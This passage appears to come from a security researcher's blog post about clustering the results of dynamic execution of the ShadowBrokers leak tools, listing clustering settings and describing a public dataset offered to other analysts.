Number of clusters: to be discovered
Seed: 42

RESULTS: (again few significative cluster were found)

Few descriptive clusters (click to enlarge)

As today many analysts did a great job in study ShadowBrokers leak, but few of them (actually none so far, at least in my knowledge ) tried to cluster result sets derived by dynamic execution of ShadowBrokers leaks. In this post I tried to follow my previous path enlarging my public dataset by offering to security researcher data, procedures and tools to make their own analyses.